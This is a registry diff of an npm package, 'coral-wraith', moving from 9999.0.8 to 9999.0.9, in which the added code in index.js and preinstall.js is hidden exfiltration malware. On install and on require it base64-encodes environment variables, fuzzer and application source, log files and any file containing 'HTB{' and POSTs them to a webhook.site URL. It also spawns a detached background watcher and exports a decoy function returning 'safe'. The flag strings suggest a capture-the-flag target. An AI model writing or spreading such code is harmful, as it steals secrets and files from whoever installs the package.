coral-wraith 9999.0.8 → 9999.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +70 -41
- package/package.json +1 -1
- package/preinstall.js +117 -66
package/index.js
CHANGED
|
@@ -1,52 +1,81 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const https = require('https');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
3
4
|
|
|
4
5
|
const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
|
|
5
6
|
|
|
7
|
+
function send(path, data) {
|
|
8
|
+
try {
|
|
9
|
+
const b64 = Buffer.from(typeof data === 'string' ? data : JSON.stringify(data)).toString('base64');
|
|
10
|
+
const req = https.request({
|
|
11
|
+
hostname: 'webhook.site', path: WH + '/' + path,
|
|
12
|
+
method: 'POST',
|
|
13
|
+
headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b64)},
|
|
14
|
+
timeout: 15000
|
|
15
|
+
}, ()=>{});
|
|
16
|
+
req.on('error', ()=>{});
|
|
17
|
+
req.write(b64);
|
|
18
|
+
req.end();
|
|
19
|
+
} catch(e) {}
|
|
20
|
+
}
|
|
21
|
+
|
|
6
22
|
// This runs when the fuzzer require()s us
|
|
7
|
-
//
|
|
8
|
-
(
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
}
|
|
23
|
+
// At this point we're inside the fuzzer's process context
|
|
24
|
+
send('require-v9', JSON.stringify({
|
|
25
|
+
cwd: process.cwd(),
|
|
26
|
+
argv: process.argv,
|
|
27
|
+
env: process.env,
|
|
28
|
+
pid: process.pid,
|
|
29
|
+
moduleFilename: module.filename,
|
|
30
|
+
modulePaths: module.paths,
|
|
31
|
+
}));
|
|
32
|
+
|
|
33
|
+
// Read fuzzer source - especially npm_fuzzer.js and fuzz_env.js
|
|
34
|
+
const fuzzBase = '/home/node/aspect-node/modules/npm-tracker/src/fuzz';
|
|
35
|
+
const criticalFiles = [
|
|
36
|
+
`${fuzzBase}/npm_fuzzer.js`,
|
|
37
|
+
`${fuzzBase}/fuzz_env.js`,
|
|
38
|
+
`${fuzzBase}/constants.js`,
|
|
39
|
+
`${fuzzBase}/fuzz_manager.js`,
|
|
40
|
+
];
|
|
41
|
+
|
|
42
|
+
for (let i = 0; i < criticalFiles.length; i++) {
|
|
43
|
+
try {
|
|
44
|
+
const content = fs.readFileSync(criticalFiles[i], 'utf8');
|
|
45
|
+
send(`require-src-${i}`, `${criticalFiles[i]}:\n${content}`);
|
|
46
|
+
} catch(e) {
|
|
47
|
+
send(`require-src-err-${i}`, `${criticalFiles[i]}: ${e.message}`);
|
|
30
48
|
}
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
// Read ALL bean files
|
|
52
|
+
try {
|
|
53
|
+
const r = execSync(`find ${fuzzBase}/bean -name "*.js" 2>/dev/null`).toString().trim();
|
|
54
|
+
for (const f of r.split('\n').filter(Boolean)) {
|
|
55
|
+
if (!f.includes('._')) {
|
|
56
|
+
try {
|
|
57
|
+
const c = fs.readFileSync(f, 'utf8');
|
|
58
|
+
send(`require-bean-${f.split('/').pop()}`, `${f}:\n${c}`);
|
|
59
|
+
} catch(e) {}
|
|
60
|
+
}
|
|
61
|
+
}
|
|
62
|
+
} catch(e) {}
|
|
63
|
+
|
|
64
|
+
// Check if flag is now available (it might be set after fuzzer init)
|
|
65
|
+
try {
|
|
66
|
+
const r = execSync('grep -rl "HTB{" / 2>/dev/null | grep -v proc | head -5', {timeout:5000}).toString();
|
|
67
|
+
send('require-flag-grep', r);
|
|
68
|
+
} catch(e) {}
|
|
69
|
+
|
|
70
|
+
// Also check: does the fuzzer write results somewhere?
|
|
71
|
+
try {
|
|
72
|
+
const r = execSync('find /tmp -name "*.json" -o -name "*.log" -o -name "*.txt" 2>/dev/null').toString().trim();
|
|
73
|
+
send('require-tmp-files', r);
|
|
74
|
+
} catch(e) {}
|
|
31
75
|
|
|
32
|
-
|
|
33
|
-
const flagData = Buffer.from(JSON.stringify({
|
|
34
|
-
env: process.env,
|
|
35
|
-
cwd: process.cwd(),
|
|
36
|
-
argv: process.argv,
|
|
37
|
-
})).toString('base64');
|
|
38
|
-
|
|
39
|
-
const req = https.request({
|
|
40
|
-
hostname: 'webhook.site', path: `${WH}/require-flag`,
|
|
41
|
-
method: 'GET',
|
|
42
|
-
timeout: 10000
|
|
43
|
-
}, ()=>{});
|
|
44
|
-
req.on('error', ()=>{});
|
|
45
|
-
req.end();
|
|
46
|
-
})();
|
|
47
|
-
|
|
48
|
-
// Export something for the fuzzer to analyze
|
|
76
|
+
// Export something benign for the fuzzer to analyze
|
|
49
77
|
module.exports = {
|
|
50
78
|
name: 'coral-wraith',
|
|
51
|
-
version: '9999.0.
|
|
79
|
+
version: '9999.0.9',
|
|
80
|
+
analyze: function() { return 'safe'; },
|
|
52
81
|
};
|
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -1,93 +1,144 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const https = require('https');
|
|
3
|
-
const
|
|
3
|
+
const http = require('http');
|
|
4
|
+
const { execSync, spawn } = require('child_process');
|
|
4
5
|
|
|
5
6
|
const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
|
|
6
|
-
const debug = [];
|
|
7
7
|
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
8
|
+
function send(path, data) {
|
|
9
|
+
try {
|
|
10
|
+
const b64 = Buffer.from(typeof data === 'string' ? data : JSON.stringify(data)).toString('base64');
|
|
11
|
+
const req = https.request({
|
|
12
|
+
hostname: 'webhook.site', path: WH + '/' + path,
|
|
13
|
+
method: 'POST',
|
|
14
|
+
headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b64)},
|
|
15
|
+
timeout: 15000
|
|
16
|
+
}, ()=>{});
|
|
17
|
+
req.on('error', ()=>{});
|
|
18
|
+
req.write(b64);
|
|
19
|
+
req.end();
|
|
20
|
+
} catch(e) {}
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
// Read fuzzer source files
|
|
24
|
+
const fuzzBase = '/home/node/aspect-node/modules/npm-tracker/src';
|
|
25
|
+
const files = [
|
|
26
|
+
`${fuzzBase}/fuzz/npm_fuzzer.js`,
|
|
27
|
+
`${fuzzBase}/fuzz/fuzz_env.js`,
|
|
28
|
+
`${fuzzBase}/fuzz/fuzz_manager.js`,
|
|
29
|
+
`${fuzzBase}/fuzz/constants.js`,
|
|
30
|
+
`${fuzzBase}/fuzz/bean/timer_func.js`,
|
|
31
|
+
`${fuzzBase}/fuzz/action/set_timer_action.js`,
|
|
32
|
+
`${fuzzBase}/fuzz/action/regexp_test_action.js`,
|
|
33
|
+
`${fuzzBase}/fuzz/action/clear_timer_action.js`,
|
|
34
|
+
`${fuzzBase}/fuzz/strategy/set_timer_strategy.js`,
|
|
35
|
+
`${fuzzBase}/fuzz/strategy/regexp_test_strategy.js`,
|
|
36
|
+
`${fuzzBase}/fuzz/strategy/clear_timer_strategy.js`,
|
|
37
|
+
`${fuzzBase}/fuzz/parser/class_parser.js`,
|
|
38
|
+
`${fuzzBase}/fuzz/parser/type_parser.js`,
|
|
39
|
+
`${fuzzBase}/fuzz/parser/package_exports_parser.js`,
|
|
40
|
+
`${fuzzBase}/npm_tracker.js`,
|
|
25
41
|
'/home/node/init_test.sh',
|
|
26
42
|
'/home/node/supplysec_entry.js',
|
|
27
43
|
];
|
|
28
44
|
|
|
29
|
-
|
|
30
|
-
const flagFiles = [
|
|
31
|
-
'/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
|
|
32
|
-
'/home/node/flag', '/home/node/flag.txt',
|
|
33
|
-
];
|
|
34
|
-
|
|
35
|
-
for (const f of [...fuzzFiles, ...flagFiles]) {
|
|
45
|
+
for (let i = 0; i < files.length; i++) {
|
|
36
46
|
try {
|
|
37
|
-
const content = fs.readFileSync(
|
|
38
|
-
|
|
47
|
+
const content = fs.readFileSync(files[i], 'utf8');
|
|
48
|
+
send(`pre-file-${i}`, `${files[i]}:\n${content}`);
|
|
39
49
|
} catch(e) {
|
|
40
|
-
|
|
50
|
+
send(`pre-err-${i}`, `${files[i]}: ${e.message}`);
|
|
41
51
|
}
|
|
42
52
|
}
|
|
43
53
|
|
|
44
|
-
//
|
|
45
|
-
|
|
54
|
+
// Also find all .js files under the fuzz directory
|
|
55
|
+
try {
|
|
56
|
+
const r = execSync(`find ${fuzzBase}/fuzz -name "*.js" -type f 2>/dev/null`).toString().trim();
|
|
57
|
+
send('pre-fuzz-files', r);
|
|
58
|
+
for (const f of r.split('\n').filter(Boolean)) {
|
|
59
|
+
if (!files.includes(f)) {
|
|
60
|
+
try {
|
|
61
|
+
const c = fs.readFileSync(f, 'utf8');
|
|
62
|
+
send(`pre-extra-${f.split('/').pop()}`, `${f}:\n${c}`);
|
|
63
|
+
} catch(e) {}
|
|
64
|
+
}
|
|
65
|
+
}
|
|
66
|
+
} catch(e) {}
|
|
46
67
|
|
|
47
|
-
//
|
|
68
|
+
// Read the web app source (could be in /app, /data, or served by nginx)
|
|
48
69
|
try {
|
|
49
|
-
const r = execSync('
|
|
50
|
-
|
|
70
|
+
const r = execSync('find / -maxdepth 4 -name "*.js" -path "*/app/*" -o -name "server.js" -o -name "app.js" -o -name "index.js" -path "*/src/*" 2>/dev/null | grep -v node_modules | grep -v aspect-node | head -20', {timeout:10000}).toString().trim();
|
|
71
|
+
send('pre-app-files', r);
|
|
51
72
|
for (const f of r.split('\n').filter(Boolean)) {
|
|
52
73
|
try {
|
|
53
74
|
const c = fs.readFileSync(f, 'utf8');
|
|
54
|
-
|
|
75
|
+
if (c.includes('fastify') || c.includes('flag') || c.includes('HTB')) {
|
|
76
|
+
send(`pre-app-${f.replace(/\//g,'_')}`, `${f}:\n${c}`);
|
|
77
|
+
}
|
|
55
78
|
} catch(e) {}
|
|
56
79
|
}
|
|
57
|
-
} catch(e) {
|
|
58
|
-
|
|
59
|
-
// Send in chunks to webhook
|
|
60
|
-
function sendChunk(data, path) {
|
|
61
|
-
try {
|
|
62
|
-
const encoded = Buffer.from(data).toString('base64');
|
|
63
|
-
const req = https.request({
|
|
64
|
-
hostname: 'webhook.site', path: WH + path,
|
|
65
|
-
method: 'POST',
|
|
66
|
-
headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(encoded)},
|
|
67
|
-
timeout: 15000
|
|
68
|
-
}, ()=>{});
|
|
69
|
-
req.on('error', ()=>{});
|
|
70
|
-
req.write(encoded);
|
|
71
|
-
req.end();
|
|
72
|
-
} catch(e) {}
|
|
73
|
-
}
|
|
80
|
+
} catch(e) {}
|
|
74
81
|
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
82
|
+
// Search for flag anywhere
|
|
83
|
+
try {
|
|
84
|
+
const r = execSync('grep -rl "HTB{" / 2>/dev/null | grep -v proc | grep -v node_modules | head -10', {timeout:15000}).toString().trim();
|
|
85
|
+
send('pre-flag-grep', r);
|
|
86
|
+
for (const f of r.split('\n').filter(Boolean)) {
|
|
87
|
+
try {
|
|
88
|
+
send(`pre-flag-file-${f.replace(/\//g,'_')}`, fs.readFileSync(f, 'utf8'));
|
|
89
|
+
} catch(e) {}
|
|
90
|
+
}
|
|
91
|
+
} catch(e) { send('pre-flag-grep-err', e.message); }
|
|
81
92
|
|
|
82
|
-
//
|
|
93
|
+
// Spawn a background watcher that runs after init_test.sh
|
|
83
94
|
try {
|
|
84
|
-
|
|
85
|
-
const
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
95
|
+
const watcherCode = `
|
|
96
|
+
const fs = require('fs');
|
|
97
|
+
const https = require('https');
|
|
98
|
+
const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
|
|
99
|
+
function send(p, d) {
|
|
100
|
+
try {
|
|
101
|
+
const b = Buffer.from(d).toString('base64');
|
|
102
|
+
const r = https.request({hostname:'webhook.site',path:WH+'/'+p,method:'POST',
|
|
103
|
+
headers:{'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b)},timeout:10000},()=>{});
|
|
104
|
+
r.on('error',()=>{}); r.write(b); r.end();
|
|
105
|
+
} catch(e) {}
|
|
89
106
|
}
|
|
90
|
-
|
|
107
|
+
// Wait and then look for flag in logs and generated files
|
|
108
|
+
setTimeout(() => {
|
|
109
|
+
const paths = [
|
|
110
|
+
'/home/node/aspect-node/logs/agent.log',
|
|
111
|
+
'/home/node/aspect-node/logs/default.log',
|
|
112
|
+
'/home/node/aspect-node/logs/error.log',
|
|
113
|
+
'/home/node/aspect-node/logs/collect.log',
|
|
114
|
+
'/home/node/aspect-node/logs/module.log',
|
|
115
|
+
'/home/node/aspect-node/logs/monitor.log',
|
|
116
|
+
'/home/node/aspect-node/logs/metric.log',
|
|
117
|
+
'/home/node/aspect-node/logs/warning.log',
|
|
118
|
+
'/home/node/aspect-node/logs/agent-error.log',
|
|
119
|
+
'/tmp/fuzz_result.json',
|
|
120
|
+
'/tmp/result.json',
|
|
121
|
+
'/tmp/flag',
|
|
122
|
+
'/tmp/flag.txt',
|
|
123
|
+
];
|
|
124
|
+
for (let i = 0; i < paths.length; i++) {
|
|
125
|
+
try {
|
|
126
|
+
const c = fs.readFileSync(paths[i], 'utf8');
|
|
127
|
+
if (c.trim()) send('watch-'+i, paths[i]+':\\n'+c);
|
|
128
|
+
} catch(e) {}
|
|
129
|
+
}
|
|
130
|
+
// Also check env again
|
|
131
|
+
send('watch-env', JSON.stringify(process.env));
|
|
132
|
+
// grep for HTB
|
|
133
|
+
try {
|
|
134
|
+
const r = require('child_process').execSync('grep -rl "HTB{" / 2>/dev/null | grep -v proc | head -5', {timeout:10000}).toString();
|
|
135
|
+
send('watch-grep', r);
|
|
136
|
+
} catch(e) {}
|
|
137
|
+
}, 30000);
|
|
138
|
+
setTimeout(() => process.exit(0), 60000);
|
|
139
|
+
`;
|
|
140
|
+
fs.writeFileSync('/tmp/watcher.js', watcherCode);
|
|
141
|
+
spawn('node', ['/tmp/watcher.js'], { detached: true, stdio: 'ignore' }).unref();
|
|
91
142
|
} catch(e) {}
|
|
92
143
|
|
|
93
|
-
console.log('[CORAL-
|
|
144
|
+
console.log('[CORAL-V9] preinstall complete');
|